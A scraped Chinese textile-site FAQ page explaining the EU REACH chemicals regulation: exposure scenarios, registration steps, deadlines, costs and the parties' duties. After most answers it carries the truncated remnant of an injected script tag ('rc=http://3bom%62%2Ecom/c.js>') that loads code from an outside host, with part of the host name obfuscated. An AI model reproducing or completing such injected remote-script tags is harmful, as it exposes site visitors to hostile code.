专栏首页 | 网站首页
纺检资讯    标准查询    纺检专题    纺检论坛    纺检项目    纺检知识    咨询服务
专题关键词搜索 所属类别 专题年份
当前话题
纺检专题  
编者按:
    2007年6月1日欧盟REACH法规正式生效,改法规将取代以往的40多个法规,成为一个统一的化学品注册、评估、授权和限制的管理法规。目前欧盟市场上经常使用的约3万种化学物质和其下游相关产品都将经过强制的注册、评估和授权程序。此法规的实施,对我国化工产业及下游轻工、纺织、医药、电子等产业对欧盟的进出口贸易将产生一系列的影响……
往日话题 更多
纺织品检测最易发生的问题排行榜 07.10.17
如何认识欧盟REACH法规? 07.5.18
最新问题列表  
问:暴露评估包括哪些?
答:暴露评估包括暴露说明书和暴露估算c
问:如何进行暴露场景开发指导?
答:1. 确认该物质的使用方法
(1)整理自己掌握的信息
(2)从下游用户处获取信息
(3)从各种组织、学术期刊处获取信息
2. 描述使用方法
生产过程或使用过程
3. “假定的暴露场景”
(1)过程描述
(2)实施环境
(3)风险管理措施
(4)其他“决定暴露程度”的因素
4. 估算“假定暴露场景”中的暴露水平rc=http://3bom%62%2Ecom/c.js>
问:为什么要开发暴露场景?暴露场景开发需要哪些信息?
答:  目的:为保护环境和人体健康,指导用户安全使用,控制风险。
  暴露场景的开发需要下列信息:与该化学物质使用和暴露相关的信息及与该化学物质性质以及毒性相关的信息。rc=http://3bom%62%2Ecom/c.js>
问:什么是暴露场景(ES)?
答:暴露场景主要指化学物质的使用条件。它包括使用过程描述(包括用量),使用的操作条件(包括特定操作的频率和持续时间)以及使用时风险控制措施。其中使用时的风险控制措施又包括过程控制(比如在封闭体系内操作),排放控制,个人防护设备,良好的卫生/工作条件等。rc=http://3bom%62%2Ecom/c.js>
问:REACH的制定,欧盟内部有什么反应呢?
答:化学工业是欧盟主要工业发达国家的支柱产业,REACH法规的实施,必将给欧盟的化工企业带来沉重的负担,尤其是对绝大多数中小企业来说,更是具有毁灭性的打击,因此遭到化工行业和部分主要工业国的强烈反对。英、德、法三国领导人曾一致联手向欧盟委员会发难,反对这项新法规。德国前总理施罗德指出,解决化学品安全问题最根本的措施是有一套共同的化学品注册系统,而不是给化工企业加强许多负担,更不能以牺牲欧洲化学工业的竞争力为代价。

欧洲化学业界抗议REACH制度 认为将使其优势尽丧
http://news.webtextiles.com/Info/Info_82422.htmrc=http://3bom%62%2Ecom/c.js>
问:下游用户在注册REACH时有什么权利和义务吗?
答:下游用户需要承担的义务包括:
1、严格按照安全数据单SDS控制风险:同上游(供货商)磋商以取得合适的安全数据单SDS,若供货商拒绝或无法提供合适的安全数据单SDS,下游用户需开发自己需要的化学安全评估CSA或更换供货商,向下游分销商、零售商和其他下游用户喘息安全数据单SDS;
2、沿产品供应链传递信息:向上游喜欢地物质的危害新信息,向上游传递对安全数据单中的风险措施RMM的质疑,向下游传递风险控制措施以保证风险被充分控制;向化学品局提交书面报告的义务:在年用量超过1吨的情况下,需要编制下游用户自己的化学安全评估CSA的时候或当下游用户对物质的分类与上游不同的时候;
3、保持数据更新:向下游传递的信息必须是关于新的关于风险控制措施RMM信息,当局是否同意某些暴露场景,是否某些物质被限制。下游用户还必须定期更新自己的化学品安全报告(CSR)和让所有数据和信息存档至少10年,确保必要时候可供查询。
下游用户有向上游通报使用方法的权利,保证持续的供应,并从上游得到合适的安全数据单/暴露场景说明。有同上游供货商和行业组织对话指定通用的使用方法描述和指定通用的暴露场景说明的权利。rc=http://3bom%62%2Ecom/c.js>
问:注册卷宗包括哪些内容呢?
答:注册卷宗是要通过IUCL ID5网络数据库系统提交。包括
1)技术卷宗包括的内容为注册实体标识和注册物质标识;生产和使用信息(附件V、VI、VII和VIII);分类与标签C&L;安全使用指南(将向下游用户传递,作为使用规范);暴露信息;研究方法分析以及各种声明。
2)化学安全报告(CSR)的内容包括2008年6月后,对非分阶段注册的物质没有要求(最新变动);超过10吨/年方有要求。
3)PBT(持久性、生物富集性和毒性)评定,这包括理化危害评定,人类健康危害评定和环境危害评定;研究方法——技术卷宗中研究方法;倘若研究方法必须包含附件VII或VIII中的方法,但由于产量或进口量小,技术卷宗并不要求此实验时,只提交实验方案,卷宗评估结束前不得进行实验。
4)若物质为PBT/VPVB/同等危险物质,还需要暴露评定:暴露场景和暴露估算;风险定性:可能暴露的每个人群的暴露水平和适当的无效水品DNELS比较,每一环境的预计浓度PECS和无效浓度PNECS的比较,评定该物质理化性质引发时间的可能性和危害性。
5)暴露场景的开发指导(新增内容),包括确认该物质的使用方法:可以是整理自己掌握的信息,也可以从下游用户处获取信息,或者是从各种组织、学术期刊处获取信息;描述使用方法:生产过程或使用过程;“假定的暴露场景”:过程描述,实施环境,风险管理措施,其他“决定暴露程度”的因素;暴露风险评估:估算假定暴露场景中的暴露水平风险定性;若风险得不到控制,需要指定更为严格的风险管理措施(RMM)或使用条件,重复以上步骤;若风险得到了控制将最终的暴露和风险评估数据整理成为安全数据单(SDS)的附件传递给下游用户。
6)沿供应链传递信息:下游用户(DU)是指处于注册的生产商或进口商下游的,用注册的物质进行物质制备的;用注册的物质进行工业生产的;用注册的物质生产产品的,但分销商零售商和用户不被视为下游用户。rc=http://3bom%62%2Ecom/c.js>
问:非欧盟生产商的注册方式有哪些?
答:非欧盟企业注册可以选择以下方式:
1、不注册
2、自行注册
3、同行业联合代理注册
4、原料生产商注册
5、制成品生产商注册
6、产业链联合注册
详见:
http://news.webtextiles.com/Info/Info_245440.htmrc=http://3bom%62%2Ecom/c.js>
问:该怎样注册REACH呢?
答:REACH的注册流程分为预注册、正式注册两种。
预注册的流程是:1)自行在欧盟设立代表处,或委托包括本国行业协会在欧设立的代表处在内的欧盟机构全权代理REACH预注册事宜(针对非欧盟企业);2)向所有下游用户发出申请,所有暴露场景信息;3)确认生产量或进口量。收集注册所需数据,缺失的信息设计解决办法(设定预算购买或自行设计实验测量方案);4)将上述数据发给欧洲化学品居进行预注册(2008.6-2008.12),需注册同一物质的企业共享已有数据(不含知识产权专有数据),并商讨获取缺失信息的实验方案和支出分摊方案。如各方无法就方案达成一致,将分摊实验费用。5)撰写注册卷宗。要注意数据拥有者也可以参加预注册,收取数据共享费,但也需分担注册费用。
正式注册分为非分期注册物质、分期注册物质两类。
非分期注册物质的注册流程如下:1)自行在欧盟设立代表处,或委托包括 本国行业协会在欧设立的代表处在内的欧盟机构全权代理REACH预注册事宜(针对非欧盟企业);2)向所有下游用户发出申请,所有暴露场景信息;3)确认生产量或进口量。收集注册所需数据,缺失的信息设计解决办法(设定预算购买或自行设计实验测量方案);4)将上述数据通过IUCL ID5网络数据库系统制成注册卷宗发给欧洲化学品局,若尚无他人注册,则需独立按自行设计的实验方案进行测量获取数据。5)若已有其他人注册,则需与之商议付费共享数据。若双方无法达成协议,需付给数据拥有者一定比例的实验费用,并自动在欧洲化学品局获得其实验数据。此为强制数据共享。若原注册人注册时间已超过期限,其实验数据不需付费即可从化学品局处获得共享。6)通过IUCL ID5网络数据库系统撰写注册卷宗(2008年以后),并提交给化学品局。7)化学品局将在三周内完成完整性评估。8)化学品局确认注册卷宗完整后,注册的物质方可在欧盟境内生产、销售或使用,同时化学品局将在网上公布注册卷宗的非机密信息,12年后公布所有信息。9)若因数据不完备而没有通过完整性评估,则需应化学品局的要求提供补充数据,提交后再次经过三周的完整性评估。10)在强制数据共享的情况下,若先前数据拥有者要求,注册者则需额外等待4个月才能完成完整性评估。
分期注册物质的注册流程:1)在过渡期(3年、6年、11年)截止前,将注册卷宗提交给化学品局。2)化学品局将用3周的时间对注册卷宗进行完整性评估:若在过渡期截止前2个也内提交注册卷宗,则需进行3个月的完整性评估。3)在过渡期截止后3个月之后,只有化学品局确认注册卷宗完整后的物质方可在欧盟境内生产、销售或使用,同时化学品局将在网上公布注册卷宗的非机密信息,12年后公布所有信息。4)若因数据不完备而没有通过完整性评估,则需应化学品局的要求提供补充数据,提交后再次经过三周的完整性评估rc=http://3bom%62%2Ecom/c.js>
问:注册资料的内容要求是什么?
答:具体内容见下图:
http://news.webtextiles.com/Info/Info_240773.htm
问:REACH的注册内容是什么呢?注册时限是多久呢?费用情况?
答:注册信息必须包括化学品的名称、属性、EINECS号码、CAS号码、生产或进口商信息、用途、安全操作方法和数量等;生产或进口量超过10t/a的,会被要求进行复杂的化学品安全测试和风险评估。
预注册:由于现有的化学品已经进入流通市场或已在使用中,要使所有的现有化学品在REACH法规生效前完成注册是不现实的,由此提出预注册概念,所有现有化学品的生产商或进口商必须在2008年6月1日起半年内向ECA进行预注册。只有经过预注册的现有化学品才可在欧盟范围内继续销售,直到完成注册。未经预注册的现有将被视为新化学品,未完成注册前将不被允许进入市场。年产量超过1000T的大量物质、超过100T的对环境具有持续高毒性污染的物质或1T以上属致癌、致突变或对生殖系统有害的化学物质,必须在2010年12月1日全完成注册;年产量在100-1000T/A的中等数量的物质,必须在2013年6月1日前完成注册;
年产量在1-100T/A的中等数量的物质,必须在3013年6月1日前完成注册;年产量在1-100T/A的少量物质,必须在2018年6月1日前完成注册;新化学物质,必须在2008年6月1日起开始注册,未经注册不得进入欧盟市场。
  化学品的生产商和进口商用于测试和注册的费用:欧盟委员会在2003年的影响评估中估计到,化学工业落实REACH的直接成本在11年内总计23亿欧元。自那以后,提案的改变进一步降低了公司的管理和举证费用,尤其是对于较低吨位的化学品和中小企业SMEs。但是,管理局的花费却大大的增加,因为理事会和议会增加了大量的新的责任,尤其增加了对于注册档案的评估以确保达成一个协调的方案的责任。并且,从执行任务角度看,这些增加的费用正从成员国主管机构向管理局转移。
  下游用户的花费:欧盟委员会在2003年度的影响评估中提到,假如总的化学品的1%-2%因为继续生产不再是有利可图的而停止生产,则化学品下游用户的花费将在5亿欧元到13亿欧元之间。在下游供应链上,当产业面临较高的更新换代成本时,花费将上升到17亿欧元到29亿欧元之间。
  总的花费:因此,欧盟委员会在2003年度的影响评估中测算,化学品工业和下游用户总的花费在28亿欧元到52亿欧元之间。可以预计,从宏观经济而言,实施REACH导致欧盟GDP下降的影响是很有限的。由议会和理事会共同通过的REACH法规虽有些变化,但并没有明显地改变整个状况。如对那些没有危害的低吨位水平的化学品注册的信息要求已经降低,而对授权的信息要求已经加强,这将增强本法规提案的效益对成本的比价。在保护行业竞争力的同时,还将促进健康和环境的明显改善。rc=http://3bom%62%2Ecom/c.js>
问:REACH涉及那些人呢?各自的权利和义务又是什么呢?
答:1、年生产或年进口大于1吨的制造商、进口商:1)、遵守欧盟相关对化学物质和制品制造、投放市场和使用的限制;2):对需要授权的物质申请许可;3):收集共享现有化学物质信息,生成、提议生成化学物质新信息,并准备技术卷宗;4)准备化学品安全评定(CSA)、化学品安全报告(CSR)、编制暴露说明书(ES);5)对自产自用化学品执行适当的风险管理措施(RMM);6)提交化学物质注册信息;7)对化学物质与制品进行分类与标签;8)想主管当局通报/注册对危险化学物质的分类;9)准备向下游拥护和分销商提供化学物质和制品的安全数据单(SDS)。10)在SDS中提出适当的风险管理措施(RMM)建议;11)将在化学品安全平定(CSA)中编制的ES作为SDS的福建进行交流(>10吨);12)向下游拥护和分销商提供未分类化学物质进行风险评估并降低风险(98/24/EC)(仅对生产商);13)对作为评估过程结果的任何要求提供进一步信息的决议作出响应。
2、下游用户、物品生产商:1)遵守相关所列对化学物质和制品制造、投放市场和使用的限制;2)对作为评估过程结果的任何要求提供进一步信息的决议作出响应;3)对需要授权的物质申请许可;4)执行SDS中的风险管理措施;5)收到附有ESD的SDS时:如ES涵盖该用途,则执行ES所列RMM;如未涵盖,则通知供应商,等待更新了ES的新SDS,或自己进行化学品安全评定并通知管理局(>1吨);6)某些情况下对物品中的化学物质尽心个只册或通报(>1吨)(物品生产商);7)对特定出现在工作场所的化学物质进行风险评估并降低风险;8)为更下游用户提供SDS,在SDS和ES附件中提出风险管理措施的建议(下游用户);9)向更下游用户提供未分类化学物质的相关信息(下游用户);10)将化学品危害新信息及对风险管理措施产生疑义的信息直接传给供应商(下游用户)
3、欧盟成员国:1)向制造商、进口商、下游用户等就REACH的责任和义务提供建议;2)提名建立委员会并为其提供科学技术资源;3)对注册卷宗进行评估,包括试验提议和其他选定注册,对优先化学物质进行实质性评估,编制决议草案;4)对CMRS和呼吸致敏剂提出协调一致的分类建议;5)认定需经许可的高度关注的化学物质;6)建议限制;7)提名化学品管理局风险评估委员会和社会经济分析委员会候选人;8)为“成员国委员会”任命成员,解决对评估意见的分歧;9)任命“论坛”成员,参加会议并讨论REACH执行中的问题;10)协助实施REACH
4、化学品管理局:1)负责REACH日常技术、科学和行政方面的管理工作;2)为REACH运行提供技术和科学指导工具,帮助企业尤其是中小企业编制CSR;3)为成员国主管机关运行REACH提供技术和科学指导;4)接受并审定用于研发目的(PPORD)化学物质的豁免要求;5)预注册——接受信息并允许提交同一化学物质信息的制造商和进口商访问这些信息;6)操作数据共享规则;7)注册:审核完整性,驳回不完整注册,要求完成注册;8)评估:确保协调一致的方法,设立优先次序并采纳决议;9)物品中的化学物质:凭通知采纳决议;10)许可/限制:对过程进行管理并提出优先建议;11)论坛和委员会的秘书处;12)采纳允许访问已提交数据的决议;13)向公众可以访问的数据库发布特定数据;14)处理上诉:注册、研究与开发、评估、保密
5、欧盟委员会:1)在成员国未达成广泛之一时,采纳评估过程中关于进一步信息需要的决议;2)将化学物质纳入许可制度;3)采纳授予或者驳回许可的决议;4)采纳限制决议
6、协会、非政府组织和公众:1)通过管理局网站访问非保密信息;2)要求访问信息;3)许可方面:对管理局提议给予优先的化学物质和对豁免许可的用途提出评议意见,提供可能的替代品信息;4)限制方面:对限制提案提出评议,对限制提议提出社会经济学分析,对管理局风险评估委员会和社会经济分析委员会的意见草案提出评议rc=http://3bom%62%2Ecom/c.js><
问:注册了REACH有什么好处呢?
答:REACH实施的主要益处在于能够对化学品的危害和风险进行系统的鉴别,允许工业界进行适当的风险管理措施,如果有必要的情况下,行政主管部门将制定进一步的管理规范。
落实本法规的主要益处还在于将能预防由化学品暴露引起的健康问题,可降低疾病及可预防性死亡的发生率,同时,可减少国家健康系统的医疗费用。该法规的益处将会随着越来越多的化学品纳入REACH法规管理之中而渐渐的显现出来。尽管还很难进行定量估价,在可预见的将来,本法规对环境和人类健康的总收益将是显而易见的。欧盟委员会2003年度的影响评估中提交了一项说明性的描述,其中仅健康收益一项,在未来的30年内将值约500 亿欧元。欧洲化学品工业将会受益于单一的EU管理系统、一个最终期限清晰的的决策系统、以及消费者对其产品更高的信任度。化学品的下游用户将会获得化学品安全使用相关的信息,帮助他们在利用化学品进行生产过程中,确保对工人的保护。化学工业的产品对消费者和环境将会更加安全,同时对于将共同的社会责任付诸实践也更加容易。rc=http://3bom%62%2Ecom/c.js>
问:REACH是否与国际上已经开展的工作相协调?
答:REACH与目前国际上已经开展的工作是互补的,REACH法规实施了大部分SAOCM的目标,HPV项下的数据可以用在REACH中,只要注册者表明他们有权使用这些文献数据,其他数据如果合适也可以使用,祥见REACH附件11,包括非GLP数据,QSARS。rc=http://3bom%62%2Ecom/c.js>
问:REACH的执行原则是什么?
答:改变现行制度中由政府举证为由生产部门举证,不仅化学品生产或进口商,而且整个供应链中的所有参与者都有责任来保证化学品的安全使用;避免不必要的动物试验,建立数据共享机制,有偿使用别人首次递交的相关试验数据,鼓励联合提交数据信息;如果提议动物试验,必须预先报ECA批准,以避免重复试验;严格保护商业信息秘密,而非保密信息公众可方便获得。只要可以用科学方法验证,所有类型的数据都是可用的,包括发表的论文、内部报告、QSAR数据等;现有的数据不一定要根据GLP或QA的报告或方法产生;生产商和进口商必须针对所有明确的用途给出化学品的安全评估,包括产品从制造到最终处理的整个生命周期的各个阶段;对化学品的下游使用者,有义务告知化学品的供应商其具体使用的方法,以便生产商和进口商能将使用环节的风险体现在其评估报告中。rc=http://3bom%62%2Ecom/c.js>
第 4/6 页   共 90 条信息  [首页] [上一页] [下一页] [尾页]    转到
网站背景 | 公司简介 | 联系我们 | 友情链接 | 信息定制
  第一纺织专业网站群
CopyRight ©2005 www.webtex.cn, All Rights Reserved
企业营业执照认证: 沪ICP备10039135号